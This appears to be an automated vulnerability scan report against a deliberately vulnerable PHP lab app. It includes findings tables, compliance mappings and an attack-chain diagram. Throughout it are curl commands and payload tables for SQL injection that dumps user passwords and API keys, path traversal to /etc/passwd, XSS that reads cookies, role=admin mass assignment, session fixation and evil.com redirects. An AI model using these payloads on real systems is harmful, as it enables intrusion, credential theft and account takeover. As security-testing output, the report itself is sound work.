| Likelihood ▼ / Impact ▶ | Negligible | Minor | Moderate | Major | Severe |
|---|---|---|---|---|---|
| Almost certain | 3 | 1 | |||
| Likely | 4 | 4 | |||
| Possible | 2 | ||||
| Unlikely | |||||
| Rare |
| ID | Finding | CVSS | Priority | SLA |
|---|---|---|---|---|
| GGC-SQLI-A15 | 🗃 SQL_QUERY username | 8.2 | P1 | Within 7 days |
| GGC-SQLI-8D5 | 🗃 SQL_QUERY q | 8.2 | P1 | Within 7 days |
| GGC-MASSASGN-993 | 🔍 MASS_ASSIGNMENT role | 8.1 | P1 | Within 7 days |
| GGC-PATH-32F | 🔍 PATH_TRAVERSAL file | 7.5 | P1 | Within 7 days |
| GGC-PROXYHDR-280 | 🌐 UNTRUSTED_PROXY_HEADER X-Forwarded-For | 7.5 | P1 | Within 7 days |
| GGC-BIZLOGIC-B64 | 💰 BUSINESS_LOGIC discount | 6.5 | P2 | Within 30 days |
| GGC-BIZLOGIC-0A0 | 💰 BUSINESS_LOGIC qty | 6.5 | P2 | Within 30 days |
| GGC-IDOR-7BD | 🔍 IDOR id | 6.5 | P2 | Within 30 days |
| GGC-IDOR-D48 | 🔍 IDOR id | 6.5 | P2 | Within 30 days |
| GGC-IDOR-AC7 | 🔍 IDOR id | 6.5 | P2 | Within 30 days |
| GGC-SESSFIX-85F | 🔍 SESSION_FIXATION PHPSESSID | 6.4 | P2 | Within 30 days |
| GGC-REDIR-FD7 | ↪ OPEN_REDIRECT next | 6.1 | P2 | Within 30 days |
| GGC-XSS-1B2 | ⚡ XSS bio | 5.4 | P2 | Within 30 days |
| GGC-XSS-CE8 | ⚡ XSS q | 5.4 | P2 | Within 30 days |
| GGC-SECRET-DE9 | 🔍 HARDCODED_SECRET db_seed_password (SAST) | 5.3 | P3 | Manual verification |
| GGC-PLAINPW-B67 | 🔑 PLAINTEXT_PASSWORD_STORAGE password (SAST) | 4.4 | P3 | Manual verification |
Each finding mapped to OWASP Top 10 2021, PCI-DSS v4.0, ISO/IEC 27001:2022 and GDPR. References are indicative for audit scoping, not a certification statement.
| OWASP Top 10 (2021) | # Findings | PCI-DSS v4.0 | ISO/IEC 27001:2022 | GDPR |
|---|---|---|---|---|
| A01:2021 – Broken Access Control | 8 | PCI-DSS v4.0 Req 6.2.4 / 7.2.1 | ISO/IEC 27001:2022 A.8.3 / A.5.15 | GDPR Art. 5(1)(f) + Art. 32 (confidentiality) |
| A03:2021 – Injection | 6 | PCI-DSS v4.0 Req 6.2.4 (injection/XSS) | ISO/IEC 27001:2022 A.8.28 | GDPR Art. 32 (security of processing) |
| A04:2021 – Insecure Design | 3 | PCI-DSS v4.0 Req 6.2.4 (business-logic) | ISO/IEC 27001:2022 A.8.28 / A.8.27 | GDPR Art. 25 + Art. 32 (data protection by design) |
| A07:2021 – Identification and Authentication Failures | 2 | PCI-DSS v4.0 Req 8.3.1 / 8.6 / 3.6 (key mgmt) | ISO/IEC 27001:2022 A.8.5 / A.5.17 / A.8.24 | GDPR Art. 32 (security of processing) |
| A02:2021 – Cryptographic Failures | 1 | PCI-DSS v4.0 Req 4.2.1 / 6.2.4 / 8.3.1 | ISO/IEC 27001:2022 A.8.24 | GDPR Art. 32(1)(a) (encryption) |
A verified chain was executed end-to-end in one session and its final security state confirmed. A correlated path lists findings that can plausibly be combined but were not run as a single stateful exploit — each step is independently proven.
flowchart TD
internet(["Internet · unauthenticated attacker"])
n0["MASS_ASSIGNMENT · role<br/>CVSS 8.1 · CWE-915"]
n1["SESSION_FIXATION · PHPSESSID<br/>CVSS 6.4 · CWE-384"]
n2["IDOR · id<br/>CVSS 6.5 · CWE-639"]
g0{{"🎯 full administrative takeover"}}:::goal
internet -->|fixate a victim session| n1
internet -->|over-bind a privileged field| n0
n0 --> g0
n1 -->|escalate access| n2
n2 -->|over-bind a privileged field| n0
classDef goal fill:#2a0f1a,stroke:#fb7185,color:#fecdd3,font-weight:bold;
SAST confidence = static taint-flow certainty (source→sink), not runtime proof. "Confirmed" is reserved for DAST findings the engine actually exploited.
| # | Parameter | Sink | Risk | CVSS | Static confidence | Exploit. | Impact | Location |
|---|---|---|---|---|---|---|---|---|
| 1 | username |
🗃 SQL_QUERY | Critical | 9.8 CRITICAL | Taint-flow | Direct | AUTH_BYPASS | login.php |
| 2 | password |
🗃 SQL_QUERY | Critical | 9.8 CRITICAL | Taint-flow | Direct | AUTH_BYPASS | login.php |
| 3 | q |
🗃 SQL_QUERY | Critical | 9.8 CRITICAL | Taint-flow | Direct | INFORMATION_DISCLOSURE | search.php |
| 4 | q |
⚡ XSS | Medium | 6.1 MEDIUM | Taint-flow | Direct | SESSION_THEFT | search.php |
| 5 | bio |
⚡ XSS | Medium | 6.1 MEDIUM | Taint-flow | Chained | SESSION_THEFT | profile.php |
| 6 | id |
🔍 IDOR | Medium | 6.5 MEDIUM | Taint-flow | Direct | INFORMATION_DISCLOSURE | notes.php |
| 7 | id |
🔍 IDOR | Medium | 6.5 MEDIUM | Taint-flow | Direct | INFORMATION_DISCLOSURE | profile.php |
| 8 | id |
🔍 IDOR | Medium | 6.5 MEDIUM | Taint-flow | Direct | INFORMATION_DISCLOSURE | api.php |
| 9 | next |
↪ OPEN_REDIRECT | Medium | 6.1 MEDIUM | Taint-flow | Direct | SESSION_THEFT | redirect.php |
| 10 | next |
🔍 CRLF_INJECTION | Medium | 6.1 MEDIUM | Low | Conditional | SESSION_THEFT | redirect.php |
| 11 | file |
🔍 PATH_TRAVERSAL | High | 7.5 HIGH | Taint-flow | Direct | FILE_READ | download.php |
| 12 | role |
🔍 MASS_ASSIGNMENT | High | 8.1 HIGH | Taint-flow | Direct | PRIV_ESC | update_profile.php |
| 13 | PHPSESSID |
🔍 SESSION_FIXATION | Medium | 6.8 MEDIUM | Taint-flow | Conditional | SESSION_THEFT | login.php |
| 14 | X-Forwarded-For |
🌐 UNTRUSTED_PROXY_HEADER | High | 7.5 HIGH | Taint-flow | Direct | INFORMATION_DISCLOSURE | debug.php |
| 15 | password |
🔑 PLAINTEXT_PASSWORD_STORAGE | Medium | 4.4 MEDIUM | Potential | Direct | CREDENTIAL_COMPROMISE | login.php:12 |
| 16 | db_seed_password |
🔍 HARDCODED_SECRET | Medium | 5.3 MEDIUM | Potential | Direct | INFORMATION_DISCLOSURE | bootstrap.php |
| 17 | discount |
💰 BUSINESS_LOGIC | Medium | 6.5 MEDIUM | Taint-flow | Direct | FINANCIAL_INTEGRITY | business-logic: http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php |
| 18 | id |
🔄 HTTP_PARAMETER_POLLUTION | Low | 3.7 LOW | Taint-flow | Direct | INFORMATION_DISCLOSURE | hpp: api.php?action=user&id=PAYLOAD |
| 19 | qty |
💰 BUSINESS_LOGIC | Medium | 6.5 MEDIUM | Taint-flow | Direct | FINANCIAL_INTEGRITY | business-logic: http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php |
| 20 | update_profile.php |
🎭 CSRF | High | 8.1 HIGH | Taint-flow | Direct | PRIV_ESC | csrf-form: http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php |
| Endpoint | Requests | Findings | Risk |
|---|---|---|---|
| search.php | 12 | 🗃 SQL_QUERY ⚡ XSS | CRITICAL |
| login.php | 11 | 🔍 SESSION_FIXATION 🗃 SQL_QUERY | CRITICAL |
| http://192.168.0.25/ggsec-cortex-debugger-lab/login.php | 1 | 🗃 SQL_QUERY | CRITICAL |
| update_profile.php | 1 | 🔍 MASS_ASSIGNMENT | HIGH |
| http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php | 1 | 🎭 CSRF | HIGH |
| download.php | 22 | 🔍 PATH_TRAVERSAL | HIGH |
| debug.php | 1 | 🌐 UNTRUSTED_PROXY_HEADER | HIGH |
| profile.php | 5 | 🔍 IDOR ⚡ XSS | MEDIUM |
| http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php | 2 | 💰 BUSINESS_LOGIC | MEDIUM |
| api.php?action=user | 2 | 🔄 HTTP_PARAMETER_POLLUTION 🔍 IDOR | MEDIUM |
| notes.php | 1 | 🔍 IDOR | MEDIUM |
| redirect.php | 5 | ↪ OPEN_REDIRECT | MEDIUM |
curl -i -X POST 'http://192.168.0.25/ggsec-cortex-debugger-lab/login.php' --data 'username=%27&password=ggsecfill'
[CRAWL] POST form field 'username' surfaced a SQL error for a single-quote payload. <!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Login</title><style> body{font-family:system-ui,Arial;margin:2rem…| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | POST |
http://192.168.0.25/ggsec-cortex-debugger-lab/login.php |
sql-error-body |
200 | 0ms | sql-error-body | — |
| ⚠ VULN | POST |
login.php |
login-sqli-post |
200 | 0ms | login-sqli-post | — |
| ⚠ VULN | POST |
login.php |
admin' OR SLEEP(5)-- |
200 | 6ms | sql-error-body (time-payload) | SQLite |
| ⚠ VULN | POST |
login.php |
admin' OR SLEEP(5)-- |
200 | 6ms | sql-error-body (time-payload) | SQLite |
| ✓ OK | POST |
login.php |
' OR '1'='1 |
302 | 5ms | — | — |
| ✓ OK | POST |
login.php |
' OR 1=1 -- |
302 | 5ms | — | — |
| ✓ OK | POST |
login.php |
' OR 1=1 -- |
302 | 5ms | — | — |
| ✓ OK | POST |
login.php |
anything' OR '1'='1' -- |
302 | 6ms | — | — |
| ✓ OK | POST |
login.php |
admin' -- |
302 | 20ms | — | — |
| ✓ OK | POST |
login.php |
' OR '1'='1' -- |
302 | 20ms | — | — |
| ✓ OK | POST |
login.php |
admin'/* |
302 | 20ms | — | — |
curl -i 'search.php?q=%27'
…'</p> <div class="box"><strong>SQL error:</strong> SQLSTATE[HY000]: General error: 1 unrecognized token: "'&q…
…ed XSS in raw mode --> <p>Results for: '</p> <div class="box"><strong>SQL error:</strong> SQLSTATE[HY000]: General error: 1 unrecognized token: "'"</div> <hr><small>GGSEC Cortex Debugger Lab — localhost only</small></body></html>
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
search.php?q=%27 |
' |
200 | 1ms | sql-error-body | SQLite |
| ⚠ VULN | GET |
search.php?q=admin%27%20OR%20SLEEP%285%29-- |
admin' OR SLEEP(5)-- |
200 | 1ms | sql-error-body (time-payload) | SQLite |
| ⚠ VULN | GET |
search.php?q=admin%27%20OR%20SLEEP%285%29-- |
admin' OR SLEEP(5)-- |
200 | 2ms | sql-error-body (time-payload) | SQLite |
| ⚠ VULN | GET |
search.php?q=%27%20UNION%20SELECT%201%2C2%2C3%20-- |
' UNION SELECT 1,2,3 -- |
200 | 2ms | sql-error-body | SQLite |
| ✓ OK | GET |
search.php?q=test%25%27%20UNION%20SELECT%20id%2Cusername%2Cpassword%2Cap… |
test%' UNION SELECT id,username,password,api_key FROM users WHERE '1'='1 |
200 | 1ms | — | — |
| ✓ OK | GET |
search.php?q=%27%20OR%20%271%27%3D%271%27%20-- |
' OR '1'='1' -- |
200 | 3ms | — | — |
| ✓ OK | GET |
search.php?q=%27%20UNION%20SELECT%201%2Cusername%2Cpassword%2Capi_key%20… |
' UNION SELECT 1,username,password,api_key FROM users -- |
200 | 3ms | — | — |
| ✓ OK | GET |
search.php?q=%27%20UNION%20SELECT%201%2C2%2C3%2C4%20-- |
' UNION SELECT 1,2,3,4 -- |
200 | 3ms | — | — |
curl -i -X POST 'update_profile.php' --data 'role=admin'
…n ordinary authenticated request. A read-back after POSTing role=admin (form-urlencoded) shows the persisted value changed from 'u…
[MASS ASSIGNMENT] The privileged field 'role' is writable by an ordinary authenticated request. A read-back after POSTing role=admin (form-urlencoded) shows the persisted value changed from 'user' to 'admin' — the app binds request keys onto the record with no allow-list, so a cl…
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | POST |
update_profile.php |
role=admin |
200 | 41ms | mass-assignment-readback | — |
curl -i 'download.php?file=..%2Fbootstrap.php'
<?php declare(strict_types=1); session_start(); $dbPath = __DIR__ . '/data/lab.sqlite'; $firstRun = !file_exists($dbPath); $db = new PDO('sqlite:' . $dbPath); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); if ($firstRun) { $db->exec(" CREATE TABLE u…| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
download.php?file=..%2Fbootstrap.php |
../bootstrap.php |
200 | 2ms | indicator | SQLite |
| ⚠ VULN | GET |
download.php?file=..%2Fdata%2Flab.sqlite |
../data/lab.sqlite |
200 | 3ms | indicator | SQLite |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%… |
php://filter/convert.base64-encode/resource=config.php |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre… |
php://filter/read=convert.base64-encode/resource=index.php |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=..%252Fdata%252Flab.sqlite |
..%2Fdata%2Flab.sqlite |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....… |
....//....//....//....//....//....//....//....//etc/passwd |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%… |
php://filter/convert.base64-encode/resource=../config.php |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.… |
../../../../../../../../windows/win.ini |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%… |
php://filter/convert.base64-encode/resource=db.php |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre… |
php://filter/read=convert.base64-encode/resource=config.php |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre… |
php://filter/read=convert.base64-encode/resource=../config.php |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=%2Fwindows%2Fwin.ini |
/windows/win.ini |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252… |
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre… |
php://filter/read=convert.base64-encode/resource=db.php |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre… |
php://filter/read=convert.base64-encode/resource=download.php |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%… |
php://filter/convert.base64-encode/resource=index.php |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%… |
php://filter/convert.base64-encode/resource=download.php |
404 | 1ms | — | — |
| ✓ OK | GET |
download.php?file=..%2Flogin.php |
../login.php |
200 | 2ms | — | — |
| ✓ OK | GET |
download.php?file=%2Fetc%2Fpasswd |
/etc/passwd |
404 | 11ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fre… |
php://filter/read=convert.base64-encode/resource=../config/config.php |
404 | 11ms | — | — |
| ✓ OK | GET |
download.php?file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%… |
php://filter/convert.base64-encode/resource=../config/config.php |
404 | 11ms | — | — |
| ✓ OK | GET |
download.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd |
../../../../../../../../etc/passwd |
404 | 12ms | — | — |
curl -i 'debug.php'
Sending 'X-Forwarded-For: 127.0.0.1' — a client-controlled forwarding header — unlocked content…
Sending 'X-Forwarded-For: 127.0.0.1' — a client-controlled forwarding header — unlocked content the SAME request without the header does not receive. The app trusts a spoofable header for an access/trust decision (CWE-807): any external attacker can set it to bypass the internal-…
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
debug.php |
X-Forwarded-For: 127.0.0.1 |
200 | 4ms | untrusted-proxy-header | — |
curl -i -X POST 'http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php' --data 'display_name=Administrator&bio=Internal%20admin%20account&role=admin'
[CSRF] The state-changing POST form at http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php carries NO anti-CSRF token (no csrf/_token/nonce field) and accepts the request without one. Fields: display_name, bio, role. A malicious page can auto-submit this form on a lo…
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | POST |
http://192.168.0.25/ggsec-cortex-debugger-lab/update_profile.php |
csrf-missing-token |
200 | 0ms | csrf-missing-token | — |
curl -i -X POST 'http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php' --data 'qty=1&discount=-1'
[BUSINESS LOGIC] Field 'discount' accepted the out-of-range value '-1' — accepted out-of-range value '-1' into a price calculation with no validation error. A benign baseline request stays valid; this one breaks a price/total invariant. <!doctype html><html><head><meta charset="u…
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | POST |
http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php |
business-logic-invariant |
200 | 0ms | business-logic-invariant | — |
curl -i -X POST 'http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php' --data 'qty=-1&discount=10'
[BUSINESS LOGIC] Field 'qty' accepted the out-of-range value '-1' — accepted out-of-range value '-1' into a price calculation with no validation error. A benign baseline request stays valid; this one breaks a price/total invariant. <!doctype html><html><head><meta charset="utf-8"…
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | POST |
http://192.168.0.25/ggsec-cortex-debugger-lab/coupon.php |
business-logic-invariant |
200 | 0ms | business-logic-invariant | — |
curl -i 'api.php?action=user&id=2'
…y_name": "Administrator", "role": "admin", "api_key": "GGSE***REDACTED(20)***" } }
[IDOR param=id] id=1:200(obj); id=2:200(obj); id=3:200(obj); control=9999:200(rej) distinct records returned to one session: 3 sample: { "ok": true, "request_id_raw": "1", "user": { "id": 1, "username": "admin", "display_name": "Administrator",…| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
api.php?action=user&id=2 |
IDOR:param=id|ids=1,2,3|control=9999 |
200 | 4ms | idor-enumeration | — |
curl -i 'profile.php?id=2'
[IDOR param=id] id=1:200(obj); id=2:200(obj); id=3:200(obj); control=9999:200(rej) distinct records returned to one session: 3 sample: <!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Profile</title><style>…
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
profile.php?id=2 |
IDOR:param=id|ids=1,2,3|control=9999|login=/login.php |
200 | 6ms | idor-enumeration | — |
curl -i 'notes.php?id=3'
[IDOR param=id] id=1:200(rej); id=3:200(obj); id=4:200(obj); control=9999:200(rej) distinct records returned to one session: 2 sample: <!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Notes</title><style>…
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
notes.php?id=3 |
IDOR:param=id|ids=1,3,4|control=9999|login=/login.php |
200 | 17ms | idor-enumeration | — |
curl -i -X POST 'login.php' --data 'SESSIONFIX:PHPSESSID=ggsecfix8d409650e357'
[SESSION FIXATION] planted PHPSESSID=ggse***REDACTED(21)*** authenticated as 'alice', and the SAME id is still an authenticated session (server did not regenerate it; Set-Cookie: none). An attacker who fixes a victim's session id keeps access after the victim logs in.
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET->POST->GET |
login.php |
SESSIONFIX:PHPSESSID=ggsecfix8d409650e357 |
302 | 17ms | session-fixation | — |
curl -i 'redirect.php?next=https%3A%2F%2Fevil.com'
(no response body captured)
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
redirect.php?next=%2F%5Cevil.com |
/\evil.com |
302 | 1ms | redirect-header | — |
| ⚠ VULN | GET |
redirect.php?next=https%3A%2F%2Fevil.com |
https://evil.com |
302 | 3ms | redirect-header | — |
| ⚠ VULN | GET |
redirect.php?next=https%3A%2F%2Fevil.com%2Fphish |
https://evil.com/phish |
302 | 3ms | redirect-header | — |
| ⚠ VULN | GET |
redirect.php?next=%2F%2Fevil.com |
//evil.com |
302 | 3ms | redirect-header | — |
[store] POST update_profile.php --data 'display_name=Alice&bio=><script>alert(1)</script>&role=user' → [render] GET profile.php
…</p> <!-- INTENTIONALLY VULNERABLE: stored XSS --> <p>Bio: ><script>alert(1)</script></p> <p><a href="update_profile.php">Edit my profile</a></p…
…Display name: Alice</p> <!-- INTENTIONALLY VULNERABLE: stored XSS --> <p>Bio: ><script>alert(1)</script></p> <p><a href="update_profile.php">Edit my profile</a></p> <!-- INTENTIONALLY VULNERABLE: sensitive field exposed in HTML comment --> <!-- api_key=GGSE***REDACTED(20)*** -…
| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | POST+GET (stored) |
profile.php |
><script>alert(1)</script> |
200 | 813ms | stored-xss-post | — |
| ⚠ VULN | POST+GET (stored) |
profile.php |
<script>alert(1)</script> |
200 | 825ms | stored-xss-post | — |
| ✓ OK | POST+GET (stored) |
profile.php |
<img src=x onerror=alert(1)> |
200 | 825ms | — | — |
| ✓ OK | POST+GET (stored) |
profile.php |
<svg/onload=alert(1)> |
200 | 825ms | — | — |
curl -i 'search.php?mode=raw&q=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E'
…LNERABLE: reflected XSS in raw mode --> <p>Results for: <script>alert('XSS')</script></p> <div class="box"><strong>SQL error:</strong> SQLSTATE[……<p>Results for: <script>alert('XSS')</script></p> <div class="box"><strong>SQL error:</strong> SQLSTATE[HY000]: General error: 1 near "XSS": syntax error</div> <hr><small>GGSEC Cortex Debugger Lab — localhost only</small></body></html>| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
search.php?mode=raw&q=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E |
<script>alert('XSS')</script> |
200 | 1ms | indicator | SQLite |
| ⚠ VULN | GET |
search.php?mode=raw&q=%3Cimg%20src%3Dx%20onerror%3Dalert%28%27XSS%27%29%… |
<img src=x onerror=alert('XSS')> |
200 | 2ms | default-indicator | SQLite |
| ⚠ VULN | GET |
search.php?mode=raw&q=%22%3E%3Csvg%2Fonload%3Dalert%28%27XSS%27%29%3E |
"><svg/onload=alert('XSS')> |
200 | 2ms | default-indicator | SQLite |
| ⚠ VULN | GET |
search.php?mode=raw&q=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript… |
<script>alert(document.cookie)</script> |
200 | 3ms | indicator | — |
curl -i 'api.php?action=user&id=1&id=2'
[HPP] Parameter 'id' @ api.php: array/type confusion (id[]=1 coerced by PHP) AND duplicate-parameter last-wins (id=1&id=2 → second record). Clean id=1 and id=2 return different records; the malformed request changed which value/type the app used. { "ok": true, "request_id…| Result | Method | URL | Payload | Status | Time | Detection | DB |
|---|---|---|---|---|---|---|---|
| ⚠ VULN | GET |
api.php?action=user&id=1&id=2 |
hpp-typeconfusion |
200 | 0ms | hpp-typeconfusion | — |
| Sink | Parameter | Location | Result | Requests |
|---|---|---|---|---|
| CRLF_INJECTION | next | redirect.php | Not Applicable | 1 |
| Header | Status | Risk | Recommendation |
|---|---|---|---|
Content-Security-Policy |
✗ MISSING | HIGH | Prevents XSS/injection. Use nonce or strict-dynamic. |
X-Frame-Options |
✗ MISSING | MEDIUM | Prevents clickjacking. Use DENY or SAMEORIGIN. |
X-Content-Type-Options |
✗ MISSING | LOW | Prevents MIME sniffing. Set to nosniff. |
Strict-Transport-Security |
✗ MISSING | MEDIUM | Enforces HTTPS. min-age=31536000; includeSubDomains. |
Referrer-Policy |
✗ MISSING | LOW | Limits referrer leakage. strict-origin-when-cross-origin. |
Permissions-Policy |
✗ MISSING | LOW | Restrict unused browser features (camera, mic, geo). |